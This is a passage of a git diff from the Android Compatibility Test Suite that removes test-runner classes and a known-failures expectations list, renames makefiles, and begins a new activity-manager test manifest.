-import org.junit.runner.notification.RunNotifier;
-
-/**
- * A {@link Runner} that does not actually run any tests but simply fires events for all leaf
- * {@link Description} instances in the supplied {@link Description} hierarchy.
- */
-class DescriptionHierarchyNotifier extends Runner {
-
- private final Description description;
-
- DescriptionHierarchyNotifier(Description description) {
- this.description = description;
- }
-
- @Override
- public Description getDescription() {
- return description;
- }
-
- @Override
- public void run(RunNotifier notifier) {
- generateListOfTests(notifier, description);
- }
-
- /**
- * Generates a list of tests to run by recursing over the {@link Description} hierarchy and
- * firing events to simulate the tests being run successfully.
- * @param runNotifier the notifier to which the events are sent.
- * @param description the description to traverse.
- */
- private void generateListOfTests(RunNotifier runNotifier, Description description) {
- List<Description> children = description.getChildren();
- if (children.isEmpty()) {
- runNotifier.fireTestStarted(description);
- runNotifier.fireTestFinished(description);
- } else {
- for (Description child : children) {
- generateListOfTests(runNotifier, child);
- }
- }
- }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java b/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java
index 90034ec..f409dbd 100644
--- a/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java
+++ b/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java
@@ -105,7 +105,7 @@
if (expectationStore != null) {
Expectation expectation = expectationStore.get(testName);
if (expectation.getResult() != Result.SUCCESS) {
- Log.d(CoreTestRunner.TAG, "Excluding test " + testDescription
+ Log.d(TAG, "Excluding test " + testDescription
+ " as it matches expectation: " + expectation);
return false;
}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/TestClassFinder.java b/tests/core/runner/src/com/android/cts/core/runner/TestClassFinder.java
deleted file mode 100644
index 6ad95f6..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/TestClassFinder.java
+++ /dev/null
@@ -1,151 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.core.runner;
-
-import android.support.test.internal.runner.ClassPathScanner;
-import android.support.test.internal.runner.ClassPathScanner.ClassNameFilter;
-import android.util.Log;
-
-import com.android.cts.core.internal.runner.TestLoader;
-
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.Enumeration;
-import java.util.List;
-import java.util.Set;
-
-import dalvik.system.DexFile;
-
-/**
- * Find tests in the current APK.
- */
-public class TestClassFinder {
-
- private static final String TAG = "TestClassFinder";
- private static final boolean DEBUG = false;
-
- // Excluded test packages
- private static final String[] DEFAULT_EXCLUDED_PACKAGES = {
- "junit",
- "org.junit",
- "org.hamcrest",
- "org.mockito",// exclude Mockito for performance and to prevent JVM related errors
- "android.support.test.internal.runner.junit3",// always skip AndroidTestSuite
- };
-
- static Collection<Class<?>> getClasses(List<String> apks, ClassLoader loader) {
- if (DEBUG) {
- Log.d(TAG, "getClasses: =======================================");
-
- for (String apkPath : apks) {
- Log.d(TAG, "getClasses: -------------------------------");
- Log.d(TAG, "getClasses: APK " + apkPath);
-
- DexFile dexFile = null;
- try {
- dexFile = new DexFile(apkPath);
- Enumeration<String> apkClassNames = dexFile.entries();
- while (apkClassNames.hasMoreElements()) {
- String apkClassName = apkClassNames.nextElement();
- Log.d(TAG, "getClasses: DexClass element " + apkClassName);
- }
- } catch (IOException e) {
- throw new AssertionError(e);
- } finally {
- if (dexFile != null) {
- try {
- dexFile.close();
- } catch (IOException e) {
- throw new AssertionError(e);
- }
- }
- }
- Log.d(TAG, "getClasses: -------------------------------");
- }
- } // if DEBUG
-
- List<Class<?>> classes = new ArrayList<>();
- ClassPathScanner scanner = new ClassPathScanner(apks);
-
- ClassPathScanner.ChainedClassNameFilter filter =
- new ClassPathScanner.ChainedClassNameFilter();
- // exclude inner classes
- filter.add(new ClassPathScanner.ExternalClassNameFilter());
-
- // exclude default classes
- for (String defaultExcludedPackage : DEFAULT_EXCLUDED_PACKAGES) {
- filter.add(new ExcludePackageNameFilter(defaultExcludedPackage));
- }
-
- // exclude any classes that aren't a "test class" (see #loadIfTest)
- TestLoader testLoader = new TestLoader();
- testLoader.setClassLoader(loader);
-
- try {
- Set<String> classNames = scanner.getClassPathEntries(filter);
- for (String className : classNames) {
- // Important: This further acts as an additional filter;
- // classes that aren't a "test class" are never loaded.
- Class<?> cls = testLoader.loadIfTest(className);
- if (cls != null) {
- classes.add(cls);
-
- if (DEBUG) {
- Log.d(TAG, "getClasses: Loaded " + className);
- }
- } else if (DEBUG) {
- Log.d(TAG, "getClasses: Failed to load class " + className);
- }
- }
- return classes;
- } catch (IOException e) {
- Log.e(CoreTestRunner.TAG, "Failed to scan classes", e);
- }
-
-
- if (DEBUG) {
- Log.d(TAG, "getClasses: =======================================");
- }
-
- return testLoader.getLoadedClasses();
- }
-
- /**
- * A {@link ClassNameFilter} that only rejects a given package names within the given namespace.
- */
- public static class ExcludePackageNameFilter implements ClassNameFilter {
-
- private final String mPkgName;
-
- ExcludePackageNameFilter(String pkgName) {
- if (!pkgName.endsWith(".")) {
- mPkgName = String.format("%s.", pkgName);
- } else {
- mPkgName = pkgName;
- }
- }
-
- /**
- * {@inheritDoc}
- */
- @Override
- public boolean accept(String pathName) {
- return !pathName.startsWith(mPkgName);
- }
- }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/TestList.java b/tests/core/runner/src/com/android/cts/core/runner/TestList.java
deleted file mode 100644
index 9d97501..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/TestList.java
+++ /dev/null
@@ -1,137 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.core.runner;
-
-import android.util.Log;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.HashSet;
-import java.util.LinkedHashSet;
-import java.util.List;
-import java.util.Set;
-import javax.annotation.Nullable;
-
-/**
- * A list of the tests to run.
- */
-class TestList {
-
- /** The set of test pacakges to run */
- private final Set<String> mIncludedPackages = new HashSet<>();
-
- /** The set of test packages not to run */
- private final Set<String> mExcludedPackages = new HashSet<>();
-
- /** The set of tests (classes or methods) to run */
- private final Set<String> mIncludedTests = new HashSet<>();
-
- /** The set of tests (classes or methods) not to run */
- private final Set<String> mExcludedTests = new HashSet<>();
-
- /** The list of all test classes to run (without filtering applied)*/
- private final Collection<Class<?>> classesToRun;
-
- public static TestList rootList(List<String> rootList) {
-
- // Run from the root test class.
- Set<String> classNamesToRun = new LinkedHashSet<>(rootList);
- Log.d(CoreTestRunner.TAG, "Running all tests rooted at " + classNamesToRun);
-
- List<Class<?>> classesToRun1 = getClasses(classNamesToRun);
-
- return new TestList(classesToRun1);
- }
-
- private static List<Class<?>> getClasses(Set<String> classNames) {
- // Populate the list of classes to run.
- List<Class<?>> classesToRun = new ArrayList<>();
- for (String className : classNames) {
- try {
- classesToRun.add(Class.forName(className));
- } catch (ClassNotFoundException e) {
- throw new IllegalStateException("Could not load class '" + className, e);
- }
- }
- return classesToRun;
- }
-
- /**
- * @param classes The list of classes to run.
- */
- public TestList(Collection<Class<?>> classes) {
- this.classesToRun = classes;
- }
-
- public void addIncludeTestPackages(Set<String> packageNameSet) {
- mIncludedPackages.addAll(packageNameSet);
- }
-
- public void addExcludeTestPackages(Set<String> packageNameSet) {
- mExcludedPackages.addAll(packageNameSet);
- }
-
- public void addIncludeTests(Set<String> testNameSet) {
- mIncludedTests.addAll(testNameSet);
- }
-
- public void addExcludeTests(Set<String> testNameSet) {
- mExcludedTests.addAll(testNameSet);
- }
-
- /**
- * Return all the classes to run.
- */
- public Class[] getClassesToRun() {
- return classesToRun.toArray(new Class[classesToRun.size()]);
- }
-
- /**
- * Return true if the test with the specified name should be run, false otherwise.
- */
- public boolean shouldRunTest(String testName) {
-
- int index = testName.indexOf('#');
- String className;
- if (index == -1) {
- className = testName;
- } else {
- className = testName.substring(0, index);
- }
- try {
- Class<?> testClass = Class.forName(className);
- Package testPackage = testClass.getPackage();
- String testPackageName = "";
- if (testPackage != null) {
- testPackageName = testPackage.getName();
- }
-
- boolean include =
- (mIncludedPackages.isEmpty() || mIncludedPackages.contains(testPackageName)) &&
- (mIncludedTests.isEmpty() || mIncludedTests.contains(className) ||
- mIncludedTests.contains(testName));
-
- boolean exclude =
- mExcludedPackages.contains(testPackageName) ||
- mExcludedTests.contains(className) ||
- mExcludedTests.contains(testName);
-
- return include && !exclude;
- } catch (ClassNotFoundException e) {
- Log.w("Could not load class '" + className, e);
- return false;
- }
- }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/AndroidRunnerBuilder.java b/tests/core/runner/src/com/android/cts/core/runner/support/AndroidRunnerBuilder.java
deleted file mode 100644
index 91df2b9..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/support/AndroidRunnerBuilder.java
+++ /dev/null
@@ -1,82 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.core.runner.support;
-
-import android.support.test.internal.runner.junit3.AndroidJUnit3Builder;
-import android.support.test.internal.runner.junit3.AndroidSuiteBuilder;
-import android.support.test.internal.runner.junit4.AndroidAnnotatedBuilder;
-import android.support.test.internal.runner.junit4.AndroidJUnit4Builder;
-import android.support.test.internal.util.AndroidRunnerParams;
-
-import org.junit.internal.builders.AllDefaultPossibilitiesBuilder;
-import org.junit.internal.builders.AnnotatedBuilder;
-import org.junit.internal.builders.IgnoredBuilder;
-import org.junit.internal.builders.JUnit3Builder;
-import org.junit.internal.builders.JUnit4Builder;
-import org.junit.runners.model.RunnerBuilder;
-
-/**
- * A {@link RunnerBuilder} that can handle all types of tests.
- */
-// A copy of package private class android.support.test.internal.runner.AndroidRunnerBuilder.
-// Copied here so that it can be extended.
-class AndroidRunnerBuilder extends AllDefaultPossibilitiesBuilder {
-
- private final AndroidJUnit3Builder mAndroidJUnit3Builder;
- private final AndroidJUnit4Builder mAndroidJUnit4Builder;
- private final AndroidSuiteBuilder mAndroidSuiteBuilder;
- private final AndroidAnnotatedBuilder mAndroidAnnotatedBuilder;
- // TODO: customize for Android ?
- private final IgnoredBuilder mIgnoredBuilder;
-
- /**
- * @param runnerParams {@link AndroidRunnerParams} that stores common runner parameters
- */
- // Added canUseSuiteMethod parameter.
- AndroidRunnerBuilder(AndroidRunnerParams runnerParams, boolean canUseSuiteMethod) {
- super(canUseSuiteMethod);
- mAndroidJUnit3Builder = new AndroidJUnit3Builder(runnerParams);
- mAndroidJUnit4Builder = new AndroidJUnit4Builder(runnerParams);
- mAndroidSuiteBuilder = new AndroidSuiteBuilder(runnerParams);
- mAndroidAnnotatedBuilder = new AndroidAnnotatedBuilder(this, runnerParams);
- mIgnoredBuilder = new IgnoredBuilder();
- }
-
- @Override
- protected JUnit4Builder junit4Builder() {
- return mAndroidJUnit4Builder;
- }
-
- @Override
- protected JUnit3Builder junit3Builder() {
- return mAndroidJUnit3Builder;
- }
-
- @Override
- protected AnnotatedBuilder annotatedBuilder() {
- return mAndroidAnnotatedBuilder;
- }
-
- @Override
- protected IgnoredBuilder ignoredBuilder() {
- return mIgnoredBuilder;
- }
-
- @Override
- protected RunnerBuilder suiteMethodBuilder() {
- return mAndroidSuiteBuilder;
- }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/ExtendedAndroidRunnerBuilder.java b/tests/core/runner/src/com/android/cts/core/runner/support/ExtendedAndroidRunnerBuilder.java
deleted file mode 100644
index a2f95e2..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/support/ExtendedAndroidRunnerBuilder.java
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.core.runner.support;
-
-import android.support.test.internal.util.AndroidRunnerParams;
-import android.util.Log;
-import org.junit.runners.model.RunnerBuilder;
-import org.junit.runner.Runner;
-
-/**
- * Extends {@link AndroidRunnerBuilder} in order to provide alternate {@link RunnerBuilder}
- * implementations.
- */
-public class ExtendedAndroidRunnerBuilder extends AndroidRunnerBuilder {
-
- private static final boolean DEBUG = false;
-
- private final TestNgRunnerBuilder mTestNgBuilder;
-
- /**
- * @param runnerParams {@link AndroidRunnerParams} that stores common runner parameters
- */
- public ExtendedAndroidRunnerBuilder(AndroidRunnerParams runnerParams) {
- super(runnerParams, false /* CTSv1 filtered out Test suite() classes. */);
- mTestNgBuilder = new TestNgRunnerBuilder();
- }
-
- @Override
- public Runner runnerForClass(Class<?> testClass) throws Throwable {
- if (DEBUG) {
- Log.d("ExAndRunBuild", "runnerForClass: Searching runner for class " + testClass.getName());
- }
-
- // Give TestNG tests a chance to participate in the Runner search first.
- // (Note that the TestNG runner handles log-only runs by itself)
- Runner runner = mTestNgBuilder.runnerForClass(testClass);
- if (runner == null) {
- // Use the normal Runner search mechanism (for Junit tests).
- runner = super.runnerForClass(testClass);
- }
-
- logFoundRunner(runner);
- return runner;
- }
-
- private static void logFoundRunner(Runner runner) {
- if (DEBUG) {
- Log.d("ExAndRunBuild", "runnerForClass: Found runner of type " +
- ((runner == null) ? "<null>" : runner.getClass().getName()));
- }
- }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/package-info.java b/tests/core/runner/src/com/android/cts/core/runner/support/package-info.java
deleted file mode 100644
index 3ccec3c..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/support/package-info.java
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/**
- * Contains all the changes needed to the {@code android.support.test.internal.runner} classes.
- *
- * <p>As its name suggests {@code android.support.test.internal.runner} are internal classes that
- * are not designed to be extended from outside those packages. This package encapsulates all the
- * workarounds needed to overcome that limitation, from duplicating classes to using reflection.
- * The intention is that these changes are temporary and they (or a better equivalent) will be
- * quickly integrated into the internal classes.
- */
-package com.android.cts.core.runner.support;
diff --git a/tests/expectations/knownfailures.txt b/tests/expectations/knownfailures.txt
deleted file mode 100644
index 08c2a5e..0000000
--- a/tests/expectations/knownfailures.txt
+++ /dev/null
@@ -1,282 +0,0 @@
-[
-{
- description: "Disable ListeningPortsTest",
- names: [
- "android.security.cts.ListeningPortsTest"
- ],
- bug: 31803630
-},
-{
- description: "some AlarmClockTests are not robust across different device types",
- names: [
- "android.alarmclock.cts.DismissAlarmTest#testAll",
- "android.alarmclock.cts.SetAlarmTest#testAll",
- "android.alarmclock.cts.SnoozeAlarmTest#testAll"
- ],
- bug: 23776083
-},
-{
- description: "the UsageStats is not yet stable enough",
- names: [
- "android.app.usage.cts.UsageStatsTest"
- ],
- bug: 17536113
-},
-{
- description: "the ConnectivityConstraintTest are not yet stable",
- names: [
- "android.jobscheduler.cts.ConnectivityConstraintTest"
- ],
- bug: 18117279
-},
-{
- description: "tests a fragile by nature as they rely on hardcoded behavior",
- names: [
- "android.accessibilityservice.cts.AccessibilityTextTraversalTest#testActionNextAndPreviousAtGranularityPageOverText",
- "android.accessibilityservice.cts.AccessibilityTextTraversalTest#testActionNextAndPreviousAtGranularityPageOverTextExtend"
- ],
- bug: 17595050
-},
-{
- description: "test fails on some devices",
- names: [
- "android.dumpsys.cts.DumpsysHostTest#testBatterystatsOutput",
- "android.dumpsys.cts.DumpsysHostTest#testGfxinfoFramestats"
- ],
- bug: 23776893
-},
-{
- description: "the SSLCertificateSocketFactoryTest often fails because of lack of live internet or short timeout, it should be refactored to do a local server testing",
- names: [
- "android.net.cts.SSLCertificateSocketFactoryTest#testCreateSocket",
- "android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_bind",
- "android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_simple",
- "android.net.cts.SSLCertificateSocketFactoryTest#test_createSocket_wrapping"
- ],
- bug: 18682315
-},
-{
- description: "the test result are too much dependent on live-internet connection, which for some devices might not exist",
- names: [
- "android.net.wifi.cts.NsdManagerTest#testAndroidTestCaseSetupProperly"
- ],
- bug: 18680089
-},
-{
- description: "AudioPolicyBinder tests are not yet robust enough",
- names: [
- "android.security.cts.AudioPolicyBinderTest"
- ],
- bug: 18461670
-},
-{
- description: "test not robust",
- names: [
- "android.telecom.cts.ExtendedInCallServiceTest#testAddNewOutgoingCallAndThenDisconnect",
- "android.telecom.cts.RemoteConferenceTest#testRemoteConferenceCallbacks_ConferenceableConnections"
- ],
- bug: 23604254
-},
-{
- description: "tests too flaky",
- names: [
- "android.transition.cts.ChangeScrollTest#testChangeScroll"
- ],
- bug: 23779020
-},
-{
- description: "Not all jdwp features are currently supported. These tests will fail",
- names: [
- "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch001",
- "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch002",
- "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch003",
- "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowDebuggerLaunchTest#testDebuggerLaunch004",
- "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowLaunchDebugger001#testDebugger002",
- "org.apache.harmony.jpda.tests.jdwp.DebuggerOnDemand.OnthrowLaunchDebugger002#testDebugger",
- "org.apache.harmony.jpda.tests.jdwp.Events.ClassUnloadTest#testClassUnloadEvent",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorContendedEnterTest#testMonitorContendedEnterForClassMatch",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorContendedEnteredTest#testMonitorContendedEnteredForClassMatch",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassExclude",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchExact",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchFirst",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassMatchSecond",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitTest#testMonitorWaitForClassOnly",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassExclude",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchExact",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchFirst",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassMatchSecond",
- "org.apache.harmony.jpda.tests.jdwp.Events.MonitorWaitedTest#testMonitorWaitedForClassOnly",
- "org.apache.harmony.jpda.tests.jdwp.ReferenceType.ClassFileVersionTest#testClassFileVersion001",
- "org.apache.harmony.jpda.tests.jdwp.ReferenceType.NestedTypesTest#testNestedTypes001",
- "org.apache.harmony.jpda.tests.jdwp.ThreadReference.StopTest#testStop001",
- "org.apache.harmony.jpda.tests.jdwp.VirtualMachine.HoldEventsTest#testHoldEvents001",
- "org.apache.harmony.jpda.tests.jdwp.VirtualMachine.ReleaseEventsTest#testReleaseEvents001"
- ],
- bug: 16720689
-},
-{
- description: "test can only run properly on a user build device when the bug is resolved",
- names: [
- "android.appwidget.cts.AppWidgetTest#testAppWidgetProviderCallbacks",
- "android.appwidget.cts.AppWidgetTest#testBindAppWidget",
- "android.appwidget.cts.AppWidgetTest#testCollectionWidgets",
- "android.appwidget.cts.AppWidgetTest#testDeleteHost",
- "android.appwidget.cts.AppWidgetTest#testDeleteHosts",
- "android.appwidget.cts.AppWidgetTest#testGetAppWidgetIds",
- "android.appwidget.cts.AppWidgetTest#testGetAppWidgetInfo",
- "android.appwidget.cts.AppWidgetTest#testGetAppWidgetOptions",
- "android.appwidget.cts.AppWidgetTest#testPartiallyUpdateAppWidgetViaWidgetId",
- "android.appwidget.cts.AppWidgetTest#testPartiallyUpdateAppWidgetViaWidgetIds",
- "android.appwidget.cts.AppWidgetTest#testTwoAppWidgetProviderCallbacks",
- "android.appwidget.cts.AppWidgetTest#testUpdateAppWidgetViaComponentName",
- "android.appwidget.cts.AppWidgetTest#testUpdateAppWidgetViaWidgetId",
- "android.appwidget.cts.AppWidgetTest#testUpdateAppWidgetViaWidgetIds"
- ],
- bug: 17993121
-},
-{
- description: "permissions for the API previously used in the test has changed, making it impossible to pass",
- names: [
- "android.openglperf.cts.GlAppSwitchTest#testGlActivitySwitchingFast",
- "android.openglperf.cts.GlAppSwitchTest#testGlActivitySwitchingSlow"
- ],
- bug: 17394321
-},
-{
- description: "unexpected failures",
- names: [
- "android.openglperf.cts.GlVboPerfTest#testVboWithVaryingIndexBufferNumbers"
- ],
- bug: 18091590
-},
-{
- description: "Test is not yet properly implemented",
- names: [
- "android.voicesettings.cts.ZenModeTest#testAll"
- ],
- bug: 23238984
-},
-{
- description: "This test failed on devices that use effect off loading. In addition it uses hidden apis",
- names: [
- "android.media.cts.AudioEffectTest#test1_1ConstructorFromUuid"
- ],
- bug: 17605875
-},
-{
- description: "This test failed on hw decoder that doesn't output frame with the configured format.",
- names: [
- "android.media.cts.ImageReaderDecoderTest#testHwAVCDecode360pForFlexibleYuv"
- ],
- bug: 17144778
-},
-{
- description: "android.keystore tests will replace these tests",
- names: [
- "com.android.org.conscrypt.MacTest#test_getInstance_OpenSSL_ENGINE",
- "com.android.org.conscrypt.NativeCryptoTest#test_ENGINE_by_id_TestEngine",
- "com.android.org.conscrypt.SignatureTest#test_getInstance_OpenSSL_ENGINE"
- ],
- bug: 18030049
-},
-{
- description: "The new prepare performance test is not yet passing on all devices",
- names: [
- "android.hardware.camera2.cts.SurfaceViewPreviewTest#testPreparePerformance"
- ],
- bug: 17989532
-},
-{
- description: "The timing measurements for preview callbacks are not reliable",
- names: [
- "android.hardware.cts.CameraTest#testPreviewFpsRange"
- ],
- bug: 23008511
-},
-{
- description: "Light status bar CTS coming in late",
- names: [
- "android.systemui.cts.LightStatusBarTests#testLightStatusBarIcons"
- ],
- bug: 23427621
-},
-{
- description: "tests are not yet ready",
- names: [
- "com.android.cts.app.os.OsHostTests#testNonExportedActivities"
- ],
- bug: 23779168
-},
-{
- description: "ConnectivityConstraintTest job scheduler not working.",
- names: [
- "android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_withWifi",
- "android.jobscheduler.cts.ConnectivityConstraintTest#testUnmeteredConstraintExecutes_withWifi",
- "android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_withMobile"
- ],
- bug: 21262226
-},
-{
- description: "ConnectivityConstraintTest times out.",
- names: [
- "android.jobscheduler.cts.TimingConstraintsTest#testJobParameters_unexpiredDeadline"
- ],
- bug: 23144425
-},
-{
- description: "Video encoding tests are timing out.",
- names: [
- "android.media.cts.VideoEncoderTest#testGoogH264FlexArbitraryW",
- "android.media.cts.VideoEncoderTest#testGoogH264SurfArbitraryW"
- ],
- bug: 23827982
-},
-{
- description: "protected broadcast not working",
- names: [
- "android.permission2.cts.ProtectedBroadcastsTest#testSendProtectedBroadcasts"
- ],
- bug: 23192492
-},
-{
- description: "restricted network is not working",
- names: [
- "android.net.cts.ConnectivityManagerTest#testRestrictedNetworks"
- ],
- bug: 25651805
-},
-{
- description: "unit testing for MediaPreparer lives within mediastress module",
- names: [
- "android.mediastress.cts.preconditions.MediaPreparerTest"
- ],
- bug: 25850508
-},
-{
- description: "Tests for the signature tests should not be in CTS",
- names: [
- "android.signature.cts.tests"
- ],
- bug: 26150806
-},
-{
- description: "android.security.cts is using a Non-NDK library, libmedia_jni.so",
- names: [
- "android.security.cts.MediaCryptoTest#testMediaCryptoClearKey",
- "android.security.cts.MediaCryptoTest#testMediaCryptoWidevine"
- ],
- bug: 27218502
-},
-{
- description: "Still investigating this, root cause unknown yet",
- bug: 27578806,
- names: ["com.android.cts.cpptools.RunAsHostTest#testRunAs"]
-},
-{
- description: "Wired headset tests are no longer a requirement per CDD",
- names: [
- "android.telecom.cts.WiredHeadsetTest"
- ],
- bug: 26149528
-}
-]
diff --git a/hostsidetests/services/Android.mk b/tests/framework/Android.mk
similarity index 100%
rename from hostsidetests/services/Android.mk
rename to tests/framework/Android.mk
diff --git a/hostsidetests/services/Android.mk b/tests/framework/base/Android.mk
similarity index 100%
copy from hostsidetests/services/Android.mk
copy to tests/framework/base/Android.mk
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk b/tests/framework/base/activitymanager/Android.mk
similarity index 78%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
rename to tests/framework/base/activitymanager/Android.mk
index 1761ba6..ee5ff8c 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
+++ b/tests/framework/base/activitymanager/Android.mk
@@ -16,24 +16,24 @@
include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE_TAGS := tests optional
# Must match the package name in CtsTestCaseList.mk
-LOCAL_MODULE := CtsServicesHostTestCases
+LOCAL_PACKAGE_NAME := CtsActivityManagerDeviceTestCases
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
-LOCAL_STATIC_JAVA_LIBRARIES := cts-amwm-util \
- cts-display-service-app-util \
- platform-test-annotations-host
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ cts-amwm-util \
+ cts-display-service-app-util
LOCAL_CTS_TEST_PACKAGE := android.server
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
+include $(BUILD_CTS_PACKAGE)
# Build the test APKs using their own makefiles
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/framework/base/activitymanager/AndroidManifest.xml b/tests/framework/base/activitymanager/AndroidManifest.xml
new file mode 100644
index 0000000..9884b6f
--- /dev/null
+++ b/tests/framework/base/activitymanager/AndroidManifest.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.cts.am">
+
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+ <uses-permission android:name="android.permission.MANAGE_ACTIVITY_STACKS" />
+ <uses-permission android:name="android.permission.ACTIVITY_EMBEDDING" />
+
+ <application android:label="CtsActivityManagerDeviceTestCases">
+ <uses-library android:name="android.test.runner" />
+
+ <activity
+ android:name="android.server.am.AspectRatioTests$MaxAspectRatioActivity"
+ android:label="MaxAspectRatioActivity"
+ android:maxAspectRatio="1.0"
+ android:resizeableActivity="false" />
+
+ <activity
+ android:name="android.server.am.AspectRatioTests$MetaDataMaxAspectRatioActivity"
+ android:label="MetaDataMaxAspectRatioActivity"
+ android:resizeableActivity="false">
+ <meta-data
+ android:name="android.max_aspect"
+ android:value="1.0" />
+ </activity>
+
+ <activity
+ android:name="android.server.am.AspectRatioTests$MaxAspectRatioResizeableActivity"
+ android:label="MaxAspectRatioResizeableActivity"
+ android:maxAspectRatio="1.0"
+ android:resizeableActivity="true" />
+
+ <activity
